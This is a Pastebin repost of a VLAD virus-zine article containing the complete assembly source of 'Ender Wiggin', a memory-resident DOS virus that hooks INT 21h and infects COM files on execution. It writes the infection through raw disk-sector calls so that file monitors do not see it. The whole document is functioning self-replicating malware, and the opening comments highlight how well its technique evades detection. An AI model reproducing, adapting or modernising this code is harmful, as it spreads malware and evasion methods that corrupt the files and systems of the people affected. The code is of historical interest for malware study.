Advertisement
FlyFar

VLAD Magazine - Issue #4 - ARTICLE.4_2 - Ender Wiggin

Jul 4th, 2023
1,654
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 7.82 KB | Cybersecurity | 0 0
  1. ; Ender Wiggin, a cluster-thingy by Rhincewind [Vlad]
  2. ;
  3. ; This virus infects COM files using sector reads and writes, but not using
  4. ; it's own file engine. Target files are opened using DOS. After that
  5. ; the SFT's are queried which contain all the cluster numbers relevant
  6. ; to infecting the file, being the first and last cluster. To get the last
  7. ; cluster number you must read from that cluster which will enter the number
  8. ; into the SFT's current cluster field. Infection is very straightforward
  9. ; otherwise. This hybrid file/sector-level infection evades most of the
  10. ; active file monitors, and thus a destructive stealth virus of this type
  11. ; is a possible threat especially since directory stealthing can now be
  12. ; done without risk or additional checks. Luckily, the larger the virus
  13. ; gets, the fewer files it will be able to infect.
  14. ; Setting the file's date/time to what it was in the first place forces a
  15. ; directory entry rewrite which is vital to the infection.
  16.  
  17.                 .model tiny
  18.                 .code
  19.                 .286
  20.                 org 100h
  21. parasize        equ (endmem-start)
  22. start:          push 100h
  23.                 mov ax, 3521h
  24.                 int 21h
  25.                 call next
  26. next:           pop bp
  27.                 cmp ax, 2135h
  28.                 jz exit_loader
  29.                 mov [bp+(int21offset-next)],bx
  30.                 mov [bp+(int21seg-next)],es
  31.                 mov ah, 30h
  32.                 int 21h
  33.                 cmp al,4
  34.                 jb exit_loader
  35.                 push cs
  36.                 pop es
  37.                 mov ah, 4ah
  38.                 mov bx,-1
  39.                 push ax
  40.                 int 21h
  41.                 pop ax
  42.                 sub bx, parasize+2
  43.                 int 21h
  44.                 xor di,di
  45. nextpsp:        cmp bx, word ptr ds:[di+16h]
  46.                 mov bx, word ptr ds:[di+16h]
  47.                 mov ds,bx
  48.                 jnz nextpsp
  49. found_cmd:      mov ah, 50h
  50.                 int 21h
  51.                 mov ah, 48h
  52.                 mov bx,parasize+1
  53.                 int 21h
  54.                 sub ax,10h
  55.                 mov es,ax
  56.                 mov ah, 50h
  57.                 mov bx,cs
  58.                 int 21h
  59.                 push cs
  60.                 pop ds
  61.                 lea si, [bp-(next-start)]
  62.                 mov di,100h
  63.                 mov cx, endcopy-start
  64.                 rep movsb
  65.                 push es
  66.                 pop ds
  67.                 mov ax, 2521h
  68.                 mov dx, offset int21
  69.                 int 21h
  70. exit_loader:    push cs
  71.                 push cs
  72.                 pop es
  73.                 pop ds
  74.                 lea si, [bp+(three_bytes-next)]
  75.                 mov di, 100h
  76.                 movsw
  77.                 movsb
  78.                 xor ax,ax
  79.                 xor bx,bx
  80.                 mov cx,00ffh
  81.                 cwd
  82.                 mov bp,ds
  83.                 xor si,si
  84.                 mov di,sp
  85.                 scasw
  86.                 ret
  87. int21:          cmp ax, 3521h
  88.                 jnz no_residency_check
  89.                 pushf
  90.                 call dword ptr cs:int21offset
  91.                 xchg ah,al
  92.                 iret
  93. no_residency_check:
  94.                 cmp ax, 4b00h
  95.                 jz infect_me_baby
  96.                 db 0eah
  97. int21offset     dw ?
  98. int21seg        dw ?
  99.                 db '-Ender Wiggin, by Rhince/VLAD-'
  100. infect_me_baby: push ds
  101.                 push es
  102.                 pusha                
  103.                 mov ax, 3d00h
  104.                 int 21h
  105.                 jnc open_ok
  106.                 jmp jmp_int21
  107. open_ok:        push ax
  108.                 xchg ax,bx
  109.                 mov ax, 440ah
  110.                 int 21h
  111.                 test dh,10000000b
  112.                 jz local_handle
  113.                 jmp close_exit
  114. local_handle:   push cs
  115.                 pop es
  116.                 mov ah,60h
  117.                 mov si,dx
  118.                 mov di, offset endcopy
  119.                 int 21h
  120.                 push word ptr es:[di]
  121.                 push cs
  122.                 pop ds
  123.                 mov ax, 4202h
  124.                 mov cx,-1
  125.                 mov dx,cx
  126.                 int 21h
  127.                 mov ah,3fh
  128.                 neg cx
  129.                 mov dx, offset clust_read
  130.                 int 21h
  131.                 mov ax, 1220h
  132.                 int 2fh
  133.                 mov ax, 1216h
  134.                 mov bl, byte ptr es:[di]
  135.                 int 2fh
  136.                 mov fill_cs,cs
  137.                 pop dx
  138.                 sub dl,'A'-1
  139.                 mov ah, 32h
  140.                 int 21h
  141.                 mov ax, word ptr ds:[bx+0bh]
  142.                 mov cs:data_sec,ax
  143.                 mov cl, byte ptr ds:[bx+4]
  144.                 inc cl
  145.                 mov cs:sec_clust,cl
  146.                 dec dl
  147.                 mov bp,dx
  148.                 mov ax, word ptr ds:[bx+02]
  149.                 xor ch,ch
  150.                 mul cx
  151.                 cmp ax, 512*8
  152.                 ja go_close_exit
  153.                 cmp word ptr es:[di+13h],dx
  154.                 jnz go_close_exit
  155.                 xchg ax,bx
  156.                 mov ax, word ptr es:[di+11h]
  157.                 div bx
  158.                 push dx
  159.                 neg dx
  160.                 add dx,bx                    
  161.                 cmp dx, (endcopy-start)
  162.                 jb go_close_exit
  163.                 push cs
  164.                 pop ds
  165.                 mov ax, word ptr es:[di+0bh]
  166.                 call calc_sec
  167.                 int 25h
  168.                 popf
  169.                 pop dx
  170.                 mov ax, word ptr ds:[bx+(clust_read-secdata)]
  171.                 cmp ax, 'ZM'
  172.                 jz go_close_exit
  173.                 cmp ax, 'MZ'
  174.                 jnz no_close_exit
  175. go_close_exit:  jmp close_exit
  176. no_close_exit:  mov word ptr ds:[bx+(three_bytes-secdata)],ax
  177.                 mov ax, word ptr ds:[bx+(clust_read-secdata)+1]
  178.                 mov byte ptr ds:[bx+(three_bytes-secdata)+2],ah
  179.                 add ax, (endcopy-start)
  180.                 mov cx, word ptr es:[di+11h]
  181.                 sub cx,3
  182.                 cmp ax,cx
  183.                 jz go_close_exit
  184.                 mov byte ptr ds:[bx+(clust_read-secdata)],0e9h
  185.                 mov word ptr ds:[bx+(clust_read-secdata)+1],cx
  186.                 push dx
  187.                 call movez
  188.                 int 26h
  189.                 popf
  190.                 mov ax, word ptr es:[di+35h]
  191.                 call calc_sec
  192.                 int 25h
  193.                 popf
  194.                 mov dx,bx
  195.                 pop bx
  196.                 add bx, offset clust_read
  197.                 mov si, 100h
  198.                 mov cx, (endcopy-start)
  199. copyloop:       lodsb
  200.                 mov byte ptr ds:[bx],al
  201.                 inc bx
  202.                 loop copyloop
  203.                 mov bx,dx
  204.                 call movez
  205.                 int 26h
  206.                 popf
  207.                 add word ptr es:[di+11h],(endcopy-start)
  208.                 adc word ptr es:[di+13h],0
  209. close_exit:     pop bx
  210.                 mov ax, 5700h
  211.                 int 21h
  212.                 mov ax, 5701h
  213.                 int 21h
  214.                 mov ah, 3eh
  215.                 int 21h
  216. jmp_int21:      popa
  217.                 pop es
  218.                 pop ds
  219.                 jmp dword ptr cs:int21offset
  220. calc_sec:       mov bx, offset secdata
  221.                 dec ax
  222.                 dec ax
  223.                 mul word ptr ds:[sec_clust]
  224.                 add ax, data_sec
  225.                 adc dx, 0
  226.                 mov word ptr ds:[bx],ax
  227.                 mov word ptr ds:[bx+2],dx
  228. movez:          mov bx, offset secdata
  229.                 xor cx,cx
  230.                 dec cx
  231.                 mov ax,bp
  232.                 ret
  233. three_bytes     db 90h, 0cdh, 20h
  234. secdata         dd 0
  235. sec_clust       db 1                
  236.                 db 0
  237. offzet          dw offset clust_read
  238. endcopy:
  239. fill_cs         dw ?    ;Doh I want relocation items.
  240. data_sec        dw ?
  241. clust_read:     db 512*8 dup (?)
  242. endmem:
  243.                 end start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement